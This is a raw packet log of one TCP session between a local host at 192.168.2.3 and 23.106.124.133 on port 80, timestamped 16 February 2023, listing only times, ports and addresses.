Feb 16, 2023 11:49:14.652111053 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.652113914 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.652137995 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.652162075 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.652167082 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.652190924 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.652218103 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.652240038 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.652240992 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.652262926 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.652267933 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.652287006 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.652307987 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.652308941 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.654964924 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.813169956 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.813239098 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.813294888 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.813319921 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.813333035 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.813373089 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.813404083 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.813422918 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.813467026 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.813503981 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.813510895 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.813544989 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.813560009 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.813591957 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.813642979 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.813683033 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.813698053 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.813745975 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.813761950 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.813793898 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.813838959 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.813851118 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.813888073 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.813932896 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.813967943 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.814003944 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.814033031 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.814039946 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.814062119 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.814080954 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.814097881 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.814132929 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.814183950 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.814194918 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.814234018 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.814284086 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.814311981 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.814361095 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.814414978 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.814465046 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.814482927 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.814521074 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.814547062 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.814574957 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.814624071 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.814646006 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.814663887 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.814754009 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.814758062 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.814805031 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.814843893 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.814882040 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.814897060 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.814915895 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.814935923 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.814956903 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.814997911 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.815021992 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.815032959 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.815069914 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.815093994 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.815108061 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.815154076 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.815169096 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.815191984 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.815234900 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.815268040 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.815273046 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.815315008 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.815331936 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.815363884 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.815406084 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.815448999 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.815464020 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.815485001 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.815516949 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.815548897 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.815551043 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.815572977 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.815587997 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.815627098 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.815648079 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.815660954 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.815706015 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.815731049 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.815742970 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.815778971 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.815804958 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.815812111 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.815850973 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.815886021 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.815898895 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.815936089 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.815980911 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.815994024 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.816030025 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.816055059 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.816065073 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.816102028 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.816137075 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.816144943 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.816175938 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.816250086 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.816317081 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.816363096 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.816396952 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.816416979 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.816524982 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.977072954 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.977134943 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.977174997 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.977221012 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.977238894 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.977257967 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.977289915 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.977294922 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.977336884 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.977380037 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.977382898 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.977421045 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.977457047 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.977462053 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.977499962 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.977539062 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.977543116 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.977583885 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.977607012 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.977632999 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.977675915 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.977685928 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.977750063 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.977785110 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.977790117 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.977821112 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.977857113 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.977861881 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.977905035 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.977943897 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.977948904 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.977986097 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.978023052 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.978028059 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.978058100 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.978101015 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.978106976 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.978151083 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.978187084 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.978223085 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.978265047 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.978285074 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.978298903 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.978302956 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.978341103 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.978344917 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.978382111 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.978425026 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.978429079 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.978465080 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.978499889 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.978542089 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.978543043 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.978578091 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.978621006 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.978631020 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.978657961 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.978713036 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.978713989 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.978760958 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.978796959 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.978820086 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.978842974 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.978879929 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.978892088 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.978915930 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.978951931 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.978965044 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.978986979 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.979032040 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.979049921 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.979079008 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.979120970 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.979129076 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.979159117 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.979195118 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.979217052 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.979231119 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.979232073 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.979274035 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.979317904 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.979321957 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.979355097 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.979398966 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.979408026 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.979435921 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.979480028 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.979506969 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.979516029 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.979553938 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.979564905 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.979588032 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.979624033 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.979665041 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.979691029 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.979702950 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.979737997 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.979760885 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.979774952 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.979784966 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.979811907 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.979861021 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.979907990 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.979914904 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.979944944 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.979980946 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.979995012 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.980016947 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.980055094 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.980063915 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.980089903 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.980134010 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.980171919 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.980171919 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.980222940 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.980228901 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.980267048 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.980307102 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.980331898 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.980350971 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.980401993 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.980433941 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.980451107 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.980489969 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.980515003 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.980526924 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.980532885 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.980571032 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.980606079 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.980649948 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.980654955 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.980690002 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.980732918 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.980750084 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.980773926 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.980809927 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.980849981 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.980887890 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.980901957 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.980906963 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.980947018 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.980998039 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.981000900 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.981051922 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.981103897 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.981105089 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.981152058 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.981204033 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.981204033 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.981251001 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.981292963 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.981304884 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.981328011 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.981364012 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.981376886 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.981400013 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.981448889 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.981467962 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.981486082 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.981496096 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.981508017 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.981509924 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.981528044 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.981534958 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.981548071 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.981566906 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.981576920 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.981587887 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.981606007 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.981607914 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.981630087 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.981651068 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.981652975 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.981673956 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.981688023 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.981697083 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.981719017 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.981735945 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.981740952 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.981755018 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.981772900 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.981785059 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.981791019 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.981816053 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.981818914 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.981836081 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.981854916 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.981872082 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.981877089 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.981890917 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.981909037 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.981909990 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.981929064 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.981930017 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.981952906 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.981971979 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.981992960 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.982012987 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.982028008 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.982033014 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.982053041 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.982064009 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.982070923 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.982088089 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.982089996 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.982110023 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.982131004 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.982132912 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.982156038 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.982176065 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.982193947 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.982213974 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.982218027 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.982228994 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.982253075 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:15.142927885 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:15.142961979 CET	80	49700	23.106.124.133	192.168.2.3
